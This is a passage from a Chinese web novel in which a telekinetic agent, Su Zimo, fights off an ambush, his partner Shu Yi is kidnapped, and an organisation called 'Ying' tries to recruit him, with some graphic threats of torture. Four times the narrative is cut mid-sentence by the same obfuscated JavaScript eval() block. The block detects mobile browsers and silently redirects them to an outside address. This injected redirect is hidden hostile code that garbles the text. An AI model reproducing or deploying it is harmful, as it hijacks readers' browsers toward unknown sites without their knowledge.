“空着呢!嗯——至于其他组嘛,”舒懿唰地一声推开椅子站起来,伸了个懒腰,“发挥余地多一些,直观感受和你差好多,很多时候处理怪物好费劲,其实挺危险的。这武器实在惊到我了,有点好用。” “有多危险?” 苏子沫拎起挂在椅背上的深灰色长大衣,捕捉到这句话,抬了些眼皮。 他今天里面是件黑色高领毛衣,配同色长裤,罕见地穿了双皮鞋。舒懿评价这是纯纯的总裁穿法,倒显得苏子沫没那么年轻了,像个二十几岁的青年企业家。 “还好吧,就是感慨难怪这工作缺人。”舒懿两指捏着下巴回忆,“还有就是会受伤——” “让你去的危险程度应该都还可以。” 舒懿呆了一会。末了,她好像听懂了这句话,从他背后探了个脑袋出来: “有更危险的吗?所以说我能去不…?” 青年没有说话。心思单纯的舒懿想不到他此刻的心理活动,一刹那青年冰蓝色的眼睛微微眯起,懒懒地斜睨了她一眼。 玻璃盏,不知道自己的易碎,傻乎乎地,还想往高台边缘跑。 也许这是游戏难得的机会?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385390|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在这几秒内,苏子沫脑中闪过几个不同的方案。这很有趣,也很刺激。但马上,青年意识到一件事: 他跟她有三个月的交易。 他答应这段时间内,要为她提供便利…保证她的安全。而且,他其实已经有很长一段时间没有想起游戏了,其实青年心里知道,或许自己已经有了答案。 “……” 还有必要把游戏进行下去吗? 苏子沫犹豫了。 不,不可以。这样就等同于他输了。 我不是不想看她碎掉,我是不能忍受我在交易之中言而无信。就是这样。 青年说服了自己。 “不行。你级别不够,这种情况得跟着我去。” “好吧。” 舒懿蔫蔫地把脑袋收回去,缩着脖子走路。 …… 审讯正进展到一半。 舒懿坐在在讯问室外的椅子上,眼睛紧盯着单向玻璃的后面。 单向玻璃内,白炽灯管发出耀眼的灯光。她有些惊讶,苏子沫是她在处理局见过综合素质最优秀的人之一,平时相处总是和风细雨,没有什么锋芒。舒懿甚至还怀疑过他到底会不会生气。任务时则多了些冷静高效、镇定自若的气势,像是刀锋出鞘一寸。但她没想苏子沫在讯问时气场这么……吓人。 很有风格,毋宁说,太有风格。 当青年十指交叠,托着下巴的时候,恐怖的问题咄咄逼人,舒懿切身代入了一下,那感觉比被冰冷的枪口指着太阳穴好不了多少。 他语速并不快,声调称得上温和,问题却相当精简而致命。当青年黑暗的影子压迫到嫌疑人身上的时候,仿佛一个阴沉的凛冬。他总能恰好地接上同伴的讯问,像手术刀一般插入犯罪嫌疑人的破绽。 平静,精准,残酷,毫无怜悯。 犯罪嫌疑人很快就乱了阵脚,哭着交代了事实的经过。 讯问室之外的黑暗中,舒懿闷闷不乐地看着单向玻璃的方向,用手托着侧脸。她仔细思考如果是自己,会如何处理面前的讯问,但不一定有这样的效果。她太年轻了,又带着点未脱的婴儿肥,不服帖的乱毛怎么也压不下去,根本镇不住嫌疑人。 但舒懿死也没想通,他就大她两岁,怎么能有这种气场。人比人真是气死人! “还要好久才追得上他啊……” 舒懿撅了撅嘴。 37. 敌袭 似乎是终于无法忍耐,苏子沫侧过身来淡淡扫了她一眼,叹了口气,笑容发苦: “…能别‘苏总,苏总’地叫了吗?” 眼下两人出完任务,正要返回处理局。地处城郊,这里有些偏僻,车子开不进来,得回大路上再找交通工具。他搭档不知为何吃错了什么药,莫名其妙开始喊他“苏总”,实在听得难受,才喊停了她。 “你不喜欢吗?” 舒懿心虚地看向别处。 “嗯。我只是个,普通的,执行员。”苏子沫特意在“普通的”三个字上咬了重音,严肃否认,“不是什么公司老总…” “这么死板?可是我觉得气质真的很像诶,特别是昨天看了你审讯之后,再加上这身衣服…这表达了我的崇敬之情,我就可以去想象,哼哼,我是跟着总裁的秘书,日理万机,一个电话卖十亿股票——”舒懿哼哼唧唧往外蹦字,头顶乱毛都耷拉下来了,“这表达了我的崇敬之情…好吧,不叫就不叫吧。” “……” 这家伙脑子里装的都是些什么? 苏子沫看上去很想知道。 他是不可能理解这人的脑回路了…… “苏z…子沫,我有个问题申请提问。” “问。” “你那个气场咋练的呀?不是就大我一点嘛,给我馋死了。可以告诉我不,有点帅。…我也想当霸总。” 青年揉了揉自己的眉心,诡异地有种被乱拳打死老师傅的感觉。可能是气氛比较轻松,也可能是没有他人在场,既然舒懿“已读乱问”,苏子沫干脆“已读乱回”,没好气地说: “因为我是杀人犯。多杀几个人就有了,很简单。” “??” 苏子沫看见舒懿CPU过载的呆滞表情,莫名心情变好,突然浮起点饶有趣味的恶意来。干脆一不做,二不休,俯身凑近她,只留下半个被阴影吞没的侧脸,面无表情。 气氛……突然…变了。 他什么也没说,那目光却仿佛有一种诡异的魔力,周围世界安静下来。舒懿吞咽着,被某种看不见的东西压迫。 只剩布道一般的念诵。 “你有没有体验过收紧放于咽喉上的手?拉断一根弦,指间温热的触觉,真是非常…非常亲密……” 青年从容地站在日光下,微笑着。 “你是否知道,濒死者的瞳孔将会扩大,涣散,最后变成无机质的玻璃球?你就要明白,生命在名为‘人’的容器里流干了,一切的情绪都归于无… 毫无波澜的冰蓝色眼睛映着她的影子。 “你就要知晓,这就是权力,这就是…控制,这就是…触碰到主的领悟; “既然人不过是一种轻飘飘的、易碎的东西。” 苏子沫直起身,轻轻弹了下舒懿的额头。 “明白了?” 舒懿下意识瑟缩了一下,克制不住有些抖。青年身上有种黑漆漆的、仿佛故意收敛的异质感,那是一种难以形容的… 她本来喜欢挨着苏子沫,总感觉很安全。但是刚刚那一瞬间,青年却仿佛才是危险的源头。难以理解的什么东西,那东西…巨大的呼吸贴着她的后背,混浊的心跳如同钟声。 “…” 毕竟是个敏锐的人,短暂害怕过后,她也就领会了他的意思。 “…好吧,我不学了,学不会……” “聪明。你也不该学这些。”青年笑了起来,“还觉得帅吗?” “……” “……” 苏子沫有种不详的预感。他开始后悔: “我这是在开玩笑。别当真,这话要举报到处理局,我算是完蛋了。真的,我不是什么好人,不要想着来学我。这不是什么帅气的好事,每个人的长处是不一样的,哪怕是做同一件事也有自己的风格,适合自己的才最好。其实你现在…很好,真的很好,有些东西你要知道,没有了就是没有了。千万不要做让自己后悔的事,以后后悔就再也来不及——” 舒懿歪头看着他。她很少见青年这个样子,絮絮叨叨,有些手足无措的模样。 “难道说…你失去过什么无法挽回的东西吗?” “……” 苏子沫沉默了。 “其实我更想问…你为什么说自己是杀人犯?我是听人讲过,但是我不信,这是你的事,我想听你亲口说。说实话,我不觉得你是个坏人,因为我从没见过你做出什么‘坏事’。我看见的反而是,你一直在保护别人,照顾别人,不管他们是什么态度…你救了很多人,其中就包括我啊。我就觉得你是好人。” 她一字一顿地说,认真看着他。 青年手指轻轻颤动了一下。 这辈子尽是倒霉事的人,难道真会一直倒霉下去吗? 苏子沫长长地叹了口气,这一次,他沉默了很久。舒懿也并不催他,只是静静注视,忐忑等待他的反应。 她并没有看起来那么坚定,只是捕捉到青年眼中那一丝的缝隙,本能地挤了进去——好像她知道,错过就很难有下次了一样。 “我…” 苏子沫微微动了唇,刚想说什么,却抬眼看向了某处。 砰 有敌袭! 舒懿手腕被猛地一扯,青年旋身挡在她面前,抬起手,面不改色。电光石火间,剧烈的爆炸与近乎透明的护罩相碰撞。苏子沫压低声音,目光森冷: “我们被盯上了,小心。” 然后他眼神变了。 苏子沫不知什么时候收敛了脸上一闪而逝的真诚脆弱,冰蓝色眼珠仿佛冻结,冷冷逼视着前方。 五公里之外,狙击手握着枪柄的手紧了紧。苏子沫绝无可能看见他,但瞄准镜内青年猛地抬头,两人距离极远,却分明在…… 对视! 那一瞬间,狙击手的后脊猛地一凉。他甚至来不及思考就卸枪回撤,紧接着,蓝光在他方才站立的地方炸响,分毫不差。 这是怎么做到的?! 狙击手以最快的速度向后退去。然而,方才炸散的蓝光却如附骨之蛆一般,扩散后骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385391|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拢,黏附在他身上。下一秒,他的脖颈被一股巨力狠狠掐住,呼吸受阻,眼球充血…狙击手用尽全力挣扎,企图摆脱念力的控制,然而缺氧和剧痛让他眼前发黑,他就快要窒息了。 苏子沫笑了笑,然而紧接着动作却猛然一滞,语气竟透出一丝错愕:“是人?!” “啧。”他挑挑眉,心说:“麻烦了。” 方才的狙击,枪械仅仅是辅助定位装置,真正起到杀伤作用的是能力者运用能力制造的子弹。就算是他,如果在纯机械的狙击下也很难通过弹道定位袭击者。然而能力形成的子弹在发射过程中,往往会因为凝聚力不够而轻微解离,在空中形成一条能量通路。 尽管对大部分能力者来说,这部分解离的能量遗存太过轻微,就像隔着数层磨砂玻璃后的头发细丝。然而,这在高位能力者眼中却是致命的疏漏,抓住了“鱼线”,“鱼线”尽头的“钓鱼者”也随之暴露。 微妙的是,这位狙击手不是怪物,甚至不是污染者,而是人类。 按照眼下局势,大部分能力者已处于被招安的状态,剩下大多是满足于普通生活的弱能力者。少部分因滥用能力被通缉的也各自为战,根本不可能形成有效的抵抗力量。 而问题在于……苏子沫目光落在目力所不能及的远方,面无表情地放松了对狙击手的控制,堪堪维持在禁锢又不至于伤害俘虏的水平。 能够主动来挑衅他,背后驱使者是怪物一方…还是,人类? 只能亲自去问问看了。 这时,一直跟在苏子沫身边的舒懿才有机会抓住他的袖子,用极低的声音飞快地问: “这里面的水大概很深,会不会和你提到第9辖区近来的异状也有所关联?你说人类?不能排除私人恩怨的可能,他们怎么可能没听过你的名字,以至于如此贸然?会不会是故意牺牲一位成员,来达到惊动你追察的效果……恐怕一开始他就没想过狙击会成功,只是错误估计你的能力水准,导致被俘——” 青年目光闪了闪,轻稳拨开她的手指,口气缓慢而坚决,像是命令。 “我去看看,你在原地等我。” “在原地……等你?” 舒懿愣神,放开了他。她向后退了几步,用细不可察的声音低低地问:“你觉得我防碍你了?” 苏子沫低着头没吱声,像是不敢碰她的眼神。而后他抬起头,支支吾吾: “…但是,我会给你防护,只是那边的事最好我单独去问…很快就好。” 舒懿缓缓闭上眼睛,极深极深吸了一口气,幅度很小地点点头。 “这也没什么。”她说,“也没什么……你快去吧,时间紧迫。” 苏子沫有些烦躁地张了张嘴,意识到自己是说得有些重,可发现实在说不出什么安慰话来,只得作罢。右手一抬,近乎透明的护罩瞬间凝成。 他转过身走了几步,微微偏了一下头。 像在推拒,又像犹豫。 苏子沫连搭档也不带,人影在地平线露了几下,就不见了。 38. 脱轨 舒懿原本认为,做人就该一件事一个理,那么既然搭档的含义是“同舟共济”、“互帮互助”,做事就不该一个人揽着包着。 原本是这样认为的。 但很显然,她的搭档并不这样想。 虽然舒懿是个明白事理,懂得审时度势的人,心里清楚苏子沫这是行动不打算她参与,以免增加变数……而她独自回处理局则可能遭袭的斟酌结果。 可为什么心脏像是被钝刀子划过那样,酸涩,又似乎有点堵得慌,呼吸不过来呢? 自己又和格温先生那次一样被丢下了。 他还是没能信任她。 其实舒懿原本是压着火的,恨不得锤爆这个习惯独来独往,每次关键时刻都丢下她的可恶青年。现在他走了,舒懿心里的气就从燎原开始一点一点消下去,最后剩了根光秃秃的火柴杆。支棱着,只留下愈发深切的无力。 秋天快过去了吧,不然怎么会这么冷呢? 舒懿冲手心哈了口气,摸出笔记开始推敲起来。 …… 狙击手是个叫人过目就忘的中年男子,相貌平平,已经被喉咙处的窒息感弄得半死不活。头上本来压得很低的鸭舌帽掉在了一边,几处衣服挣破了口子,看起来狼狈得有点可怜。 “您好。” 苏子沫一脚踏上天台,双手插在大衣口袋里,温和地冲他点了点头。他打了个响指,狙击手脖子上的压力骤然消失,男人剧烈咳嗽起来,几乎要把肺管咳出来。 苏子沫慢条斯理地站在一边,极有耐心地等他咳完: “谁指使你来的?” 狙击手用虚弱的声音镇定地说:“…你的仇家,但我无法透露客户信息……” 青年托着下巴,做思考状。 “哦…我好骗对吧?” “……” “我的仇人?的确,是挺多。但他们起码会对我的能力有个大概的印象。枪械,那是最不适合取我性命的东西。” 苏子沫笑眯眯地抱着胳膊。 “所以,谎言是对好骗的人说的,你说是不是?很有意思,而且我刚刚发现一——”苏子沫一手握拳,放在另外一只手的手掌上,一副恍然大悟的高兴模样,“这里完全没有目击者或者监控设备。” “求你了…求你了!放过我!” 像是预感到了什么,狙击手疯狂摇头,拼命挣扎。可他被青年的能力牢牢束缚着,动弹不得,只能看着可怕的黑影慢慢靠近。 “我没有什么耐心,先生。而且我讨厌别人对我说谎…因为这总是要浪费我的时间。” “……” 青年哀伤地自言自语: “我不喜欢这样。为什么我们不能总坦诚相待呢?” “……” “我说!我说!!我是‘影’派来的,本来的目的只是惊动你而已!别,别杀我,哪想到你这么恐怖啊,这都能……这么远都能……!我只是为了赚钱,我,我还有一家老小……” 狙击手终于绷不住了,眼泪和鼻涕一起流下来,近乎语无伦次。 “影……” 苏子沫细不可察地一敛目。 没听说过的名字——组织?近来兴起的? “这么说,成员都是人类了。” “反,反正我见过的都是!别问我细节,我只是接到任务就执行的外围人员而已!求,求你别……” “不管怎么样,我得带你回去。” 青年点点头,“只要你别搞什么小动作,我就不会对你动手——” 但他话音甚至没来得及落下,耳边就传来一声爆炸的巨响。 楼房的玻璃瞬间碎裂,某个楼层碎了一多半。上半截的楼房狠狠断开,而后砸向地面,却被一股力量托住了。 苏子沫眯着眼,脸色有点不好看。但年轻的执行员身上有种异于寻常的冷漠,极短的时间内又恢复了笑容:“根据《对能力者法》第三十三条,激烈抵抗执行抓捕的执行员或造成巨大破坏的,有权就地执法。” “不过是个初出茅庐的小子,能引起首领的关注,果然还是有两下子。” 尘埃散去,女人的身影也随显露。她一袭红裙,坐在仿佛没有支撑的空气中,狭长的丹凤眼含着说不出的:“至于任务失败的垃圾,抱歉,我必须处理掉。” “呜……!” 狙击手眼神一凝,七窍都迸出丝线般的鲜血!还好这种钻心剜骨的剧痛只持续了一瞬间,进而衰减为隐隐的阵痛。他颤抖着抬起头,组织对待任务失败、可能被处理局俘获成员的一贯态度,他再清楚不过,怎么会…放他一马? “哦?为什么要保护他?” 女人揭示了问题的答案,捧着脸饶有兴致地一笑:“你并不是什么好人吧?刚刚的话我都听到了,很不错呢。” 青年两指并拢,横在身前。指尖泛着一点蓝光,不动声色地说:“杀人是不正确的。况且,既然他并未违反第三十三条法规,作为俘虏,自然会受到处理局的监视与保护。” “没劲。真没劲,你这背诵公式文书的虚伪语气…真是让我恶心。” 凤眼女人脸上的笑容一点点退去,冷冷地说。 “本以为会有多优秀,原来也不过是个拘泥于规则的垃圾…上头的命令是一定要带你回去,不过如果是因为太弱‘不小心’在过程中被杀……也没有办法吧?” 苏子沫不可置否地耸耸肩:“你说的对,我赞成。” “不知天高地厚的家伙……!” 无数条烟迹如烟花般漫天绽放,彼此缠绕。青年仍旧保持浮空的状态,避无可避,他笑了笑。 尽管在创世般耀眼的白光下,无人能窥见他眼底沉蓝的森冷。 压缩空气作为□□的助推力,嗯…他们哪里得到的军火?和最近处理的走私案有关?那么先前对狙击手的攻击应该也是以空气为介质压缩目标造成伤害… 苏子沫眯着眼,摸着下巴思索。 倒像是不完整版的念动力。 不过好在这里是先前由于怪物袭击而废弃的非居民区,正在进行重建计划…输出不需要考虑破坏,也不需要顾忌居民的安全。 青年抬起右手,向着空中,握拳。 所有弹药瞬间骤停。 女人悚然一惊,向脱离控制的□□施加巨大的力量。可它们纹丝不动,如同摆脱了地球引力般悬在半空,像是…被焊死了。 他不是徒有虚名! 女人瞬间警惕起来,脚下的空气急剧压缩后猛然释放。鲜红色长裙在突破音速的震爆中边缘破碎,仿佛荻花飞散。 下一秒,苏子沫改变了手势。 数以百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385392|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计的□□同时倾泻,密集得近乎碰撞。金属的长矛自天流泻,像狂舞的巨蛇,发出尖锐的啸声,追逐天空中的渺小身影,在女人的瞳孔中猛地放大。 爆炸发生了,轰然的巨响贯彻长空! 附近楼房原本坚固的玻璃被震得粉碎,假如在场的几人不是能力者,单是音爆就足以震碎人的耳膜。苏子沫穿过爆炸的烈风,背着手闲庭信步地逼近了她。而女人却单是爆炸已经疲于应付,整个人冷汗直流,止不住喘气。 这家伙! 女人勃然大怒,可她实际上已经暗暗产生了后悔,懊恼为什么被派来执行任务的是自己。 青年虽然年轻,但同那些名声吹得震天响,其实踹三脚一个屁崩不出来的货色,完全不是一个级别的!组织内部的情报有错! 碰上真货了。 “让我想想…由人类组成,持有军火,了解一定处理局内部资料,甚至存在高位能力者…现在的叛徒真是越玩越大了。” 苏子沫抬头望着天空,叹了口气。他自顾自地说着,似乎很惋惜的样子。只是每说一个字,施加在女人身上的念力就更压一分。 “好好的战力,给谁打工不好,非要选个朝不保夕的呢?你们这些人…拜托,我不想再加工作了…真的,放过我吧。真有意思,发展到这个层次的组织,居然会如此默默无闻,比名字还影子。” 他继续说: “所以究竟是你们组织保密工作做得好,还是有人给了你们保护伞?” “你无论什么都不可能从我口中问出来,”女人紧咬牙关,纵使她用尽全力保护自己,施加在她身上的念力还是逐渐达到了一个无法忍受的值,“我是……绝对不会……背叛大……” 苏子沫面不改色地打断了她。 “好了,好了,朋友。谢谢你,我知道了。我不想听这些表忠心的废话,浪费彼此的时间。绝不会背叛是吧,我知道了。那你就死呗。” “不,不是……?” 青年好像真无所谓一般,看也不看她,就朝着狙击手的方向抬脚向下方走去。 “再见了,我需要带他回处理局。你就留在这吧。” 走了几步,他似乎是想起了什么,顺口用半开玩笑的语气享受般地描述道: “被念力慢慢捏死的人就像一管牙膏,碎掉的内脏混合着鲜血脑浆,从任何一个它们能爬得出来的地方溢出来。再加点力,眼球搞不好会被挤出眼眶?不过因为连着筋的缘故不会彻底脱离,而是会挂在眼眶外……” “等等!我……我配合!我配合!!” 女人脸色苍白到了极点,一双丹凤眼中尽是恐惧。她本想靠信息多赢一些筹码,可这个疯子,这个疯子居然真的打算杀人!明明是执行员,怎么可能对已经没有反抗能力的俘虏施加惨无人道的虐待… 苏子沫语气活像个看热闹的路人:“刚才不是挺忠心的?怎么回事,突然就改口,真让人意外——” 他话音未落,女人耳朵上一枚伪装成耳钉的通信器“嘀嘀”一声开了。青年听力极好,冷静浑厚的男声仿佛就在他耳边响起。 黑暗中,哪里“咔嚓”了一声,有什么东西坏掉了吗? “A2呼叫,A2呼叫,任务执行完毕,已经控制住舒懿小姐,无论是否完成任务,请立即撤离。” 39. A2 被留在原地,舒懿虽满腹的怨愤,但无奈限制于浮在离地10厘米左右的球形防护罩,也没办法四处走动。 她索性坐下来,咬着笔杆,把本子放在腿上开始思考起来。 这些人做事的风格还算缜密,应该是早有预谋。不过似乎对苏子沫的能力估计不足,这究竟是他们的失误,还是苏子沫平时刻意不展现自己的真实水平? 舒懿虚着眼,考虑了下苏子沫那个死性子,觉得这还真有可能。 那就是两个都有。 不过他平时的“低调”行为,倒是在牌桌上至关重要的一张底牌。但相应,对方的判断失误会带来决策的冒进,有可能还会有意料之外的事件发生。 舒懿点点头,对自己的分析表示认可,于是摘下笔帽开始奋笔疾书。 但她刚在笔记本上写了几个字,身后突然传来软底皮鞋摩擦地面的脚步声。 是谁?! 她心里一紧,把笔记揣在怀里。 舒懿刚转过身,却只来得及扫了几眼目光,甚至没来得及拔出武器。 一只陌生的手按在浅蓝色的护罩外侧,随后一圈圈波纹从那只手所在的位置迅速扩散,似乎形成了某种诡异的共振。手的主人年龄目测起来接近五十岁,穿着一身深蓝色西装,眯缝眼中看不清神色。 紧接着,护罩外壳不堪重负,“咔嚓”一声支离破碎。而舒懿来不及反应就失去了意识,眼前陷入一片漆黑。 只是恍惚间似乎有个低沉浑厚的男声含着一点笑意,讶异赞叹了句: “不赖。” …… 从梦中醒来般的不真实感。 舒懿费劲地睁开眼睛,却只有模糊的黑色光亮。她再度眨了眨眼,视野却仍然没能清明起来…… 脑中突然闪电般地划过一点记忆,立刻惊得她意识回笼。 她被敌人绑架了?! 可恶,她昏迷了多久? 眼睛被蒙上了不透光的黑布。这种震动感,似乎是在行驶中的车上,他们要带她去哪?手和脚都被绑上了,恐怕不好挣脱。况且,如果那个蓝西装还在她旁边,尝试逃跑也不是明智之举。 现在能做的也只有记录时间了。 念及此处,舒懿掐着自己的脉搏开始默数计时。但没过多久,耳边传来窸窸窣窣的声音,而后是人的说话声。 “A2呼叫,A2呼叫,任务执行完毕,已经控制住舒懿小姐,无论是否完成任务,请立即撤离。” 出乎意料的,这声音顿了一下,似乎有点意外。但他很快平静下来,带着笑意说: “苏先生英雄出少年,A2自然佩服。” ! 舒懿聚精会神地听着,尝试判断当前的形势: 拿到通信器的不是对方的人员,而是苏子沫。这说明他肯定已经控制住了对方的人员,也许会提出交换人质。 她心里飞快地转着念头,感觉这辈子思维都没这么快过。 软底皮鞋、深蓝色西装、头发夹白、眯缝眼、鹰钩鼻,年龄大概四五十岁左右,能击碎苏子沫的护罩,应该算是高位能力者。 可惜一眼捕捉到的信息还是太少,仅从目前掌握的信息来看,对方的目的无非几点:一,控制她挟持苏子沫,进而策反他; 二,控制她,对处理局施压,搞交换人质或者勒索那一套; 三,为可能与其关联的怪物激增创造条件或者研究苏子沫…… 她是普通人,才刚刚实习,年龄也很小。这个A2也对苏子沫能拿到通信器感到惊讶,也侧面说明了他们没摸清苏子沫实力。连对苏子沫都是这样,那就很有可能轻视我。尽可能让他们放松警惕,出其不意,这就是机会! 先前那个男声的主人把一个冰冷的物品冲她脸上粗暴一戳,冷冷道: “醒醒,你搭档要求你说几句话。” 要珍惜可能是唯一的通信,把信息传给他。 但不能说太多,否则会被怀疑,还会让自己陷入危险的境地。 她狠狠抠了一下被铐起来的手,把自己硬生生疼出了眼泪。舒懿开始演技爆发地示弱,假装自己是个被吓得不知所措的小女孩。不知道地点和时间,那就只能传达状态了: “我……我很好,就,还能照顾我自己,别担心。” 通信器那头沉默了几秒,传来青年温和的回应: “好的,请待命。” 不知是不是舒懿感觉出错的缘故,他声音似乎比平时多了些软化的安抚意味,显得格外温柔和小心……也许还有一点隐约的愧疚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385393|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?再加上通过听筒有些失真的沙沙声,她那瞬间突然有种奇异的错觉。 仿佛那人摸了摸她的脑袋,说:“我要来救你了,放心。” ——等等我。 通信器又被拿了回去,但她的心中却不知为何安定了许多。至少,苏子沫应该会来救她。不仅是语气的问题,更在于他说的那句“请待命”。 等待谁的命令? 舒懿相信是苏子沫他自己的。 怎么传达下一个命令? 再进行接触。 更何况他必然不能说出“请等我”一类的话,那样意图就太明显。舒懿更愿意相信这是隐晦的说法。 过后的时间内无事发生。体感大约一个小时左右,车门被打开,“唰”的一声,脚上的绳子断了。舒懿被牵着,蓝西装命令她往前走。地面有下降的趋势,大概走了有100米左右,眼睛上蒙着的黑布终于被猛地摘掉。 面前是一条狭长的走廊。 建筑总体的配色以灰白为主,看起来很单调。侧面的墙壁是暗灰色,而天花板和地板则都是一种能够发光的白色材质,应该是内部存在光源。 两个身穿白色制服的中年男人站在跟前,垂首待命: “长官,有何指令?” 那眯缝眼男人轻轻地笑了一声:“带客人下去休息。” “是。” 两人中一人在她背后押送着她,另一人走到前方带路。舒懿不死心,近乎贪婪地观察着附近的环境,一边暗自记忆下经过的路径,开始思考脱身的方法。 建筑内设重合度很高,似乎全部是类似的狭长走廊,内嵌的电子金属门紧闭,路线并不好记。内部人员众多,来来往往,大部分穿着辨识度很底的白底制服,样式介于军装同西服之间。偶尔有身穿深橙色、蓝色制服的几人经过,舒懿猜测衣物颜色代表了人员的内部等级,至于高级的“干部”,似乎根本没有着装要求。 舒懿松了口气。 看来这个组织对她的重视程度几乎为零,两名白制服似乎已经算是最低标准的押送了。 正想着,她被带到了一扇嵌在墙体内的金属门前,白制服经过指纹、瞳孔两道扫描,打开了金属门。随即,其中一人拿出钥匙,将她的手铐解下,把舒懿推了进去。 40. 投敌 “……” 苏子沫垂着眼,似笑非笑。冻结般的双眼平静得可怕,压迫感如寒意刺入骨髓。 “……” 他很不高兴。 这是严重的失误。 他的搭档没有了。他答应过她要负责她的安全的,现在她没有了。因为他的过错,没有了。 原本就是为了避免这种情况,才让她待在原地。即使断开了联接,他的护罩强度也不是一般能力者能打破的,本以为这样已经足够。但对方有超乎想象的高手… “哼。” 青年站在那里,维持着脸上肌肉记忆一般的微笑,只是微微眯了一下眼。他不能…也不该让敌人看出任何情绪上的破绽。现在没空想情绪的事。 他要解决问题了。 还不等女人回话,青年一手插在口袋里,另一只手朝前勾了勾手指。耳钉被浅蓝色的能量裹挟着向他冲来,苏子沫一个翻腕抄住通信器: “下午好,先生。” 通信器另一头的男声似有一点意外,顿了顿。但他很快恢复了平静:“苏先生英雄出少年,A2自然佩服。” “不必说客套话,向我证明她现在在先生手上。让她和我说两句话。” 通信器里传来了一阵杂音,不知对面发生了什么。紧接着熟悉的声音响起: “我……我很好,就,还能照顾我自己,别担心。” 舒懿声音抖得厉害,好像还带着一点哭腔。青年的心脏在那个瞬间似乎跳空了一拍,脑海中浮现出女孩的样子…缩成小小的一团,或许手和脚还在被绳子绑着。身体可能有一点发抖,眼泪浸湿了蒙眼的布料。 这个画面像是尖锐的细小电流,刺了他心底某个地方一下。 尽管青年知道真正六神无主的人会说什么,这样的场景只是一个伪装的表象。但是,苏子沫没有感到自己有想象中那么镇定。 为什么? 青年不知道。他对自己处理事件的能力有信心,并且说实话,这意外满足了游戏条件。也许他应该觉得期待才对……但是现在他没有什么感觉……或者说,他现在意外地很不舒服。怪怪的。但不可能是在担心,苏子沫觉得大概要怪别人插手了他的计划,导致他违背了交易。 他不允许别人碰他的计划。游戏应该是他们两个人的,不应该有其他人。而他的责任是事情发生的原因。 所以苏子沫很不高兴。 不过,这让他眉宇稍稍舒展了些:舒懿此时语气展现的心态同话语内容完全搭不上,带着一股生硬的违和感,甚至称得上有点杂乱无章。虽然苏子沫同她相处的时间不长,却也不认为她会是个仅仅被俘虏就丧失理性的人。排除因过度紧张导致的语无伦次,是想传递信息,还是计划让对方放松警惕? 苏子沫似有若无地笑了笑。 看来对方还算识相,在对己方成员严酷的制度下,至少人质还是可以得到些优待的。至于“我还能照顾我自己”…他慢慢摩挲了一下自己的手指,究竟是指她的心理状态,还是她尚还有自卫能力? 青年温和地回答了她,声音带着些柔软的安抚意味:“好的,请待命。” 就是毕竟还有些年轻青涩,演技生硬了点。 “可以了,现在苏先生相信了吗?” 苏子沫沉默了一会儿,轻声说:“先生的人现在也在我手上,交换人质如何?她这样的实力,至少也是干部级别。” “交换人质?” 对方轻轻呵出一口气,连讥带讽地笑了一下。 “请搞清楚状况。一个干部的损失不是不可以接受,而你……倒是你,会真的动手吗?倘若你搭档折在组织手里,我不介意向媒体大肆宣传。只消你被处理局除名,猜猜迎接你的会是什么?何况你可从没被他们承认过,不是吗?我倒觉得我们之间的共同点还要多些。” 苏子沫垂下眼睫,几不可察地啧了一声。他冷漠地将通信器的声音调了最大: “看来这个人对你们已经没用了…她一开始就有被当成弃子的考虑。既然如此,先生,你想要什么?” “聪明人,”那人轻轻笑了一下,“她是没用了,可苏先生还有用。加入我们怎么样?首领要见你。” 青年面无表情地捏碎了通信器。碎裂的电子器件从指间坠落,青年略微抬起头,弯了一下眼角: “听到了吗?” 越是把别人的性命视为草芥的人就越惜命,他们惯于用一颗子弹或者棋子来概括别人的生命,却把自己看得比什么都重——那些没权没势、没能没力的普通人是牲口,是蝼蚁,死了就死了。 没什么大不了。 死一个自己呢? 那就太不值得了。自己的命这么金贵,怎么能做这种赔本买卖? 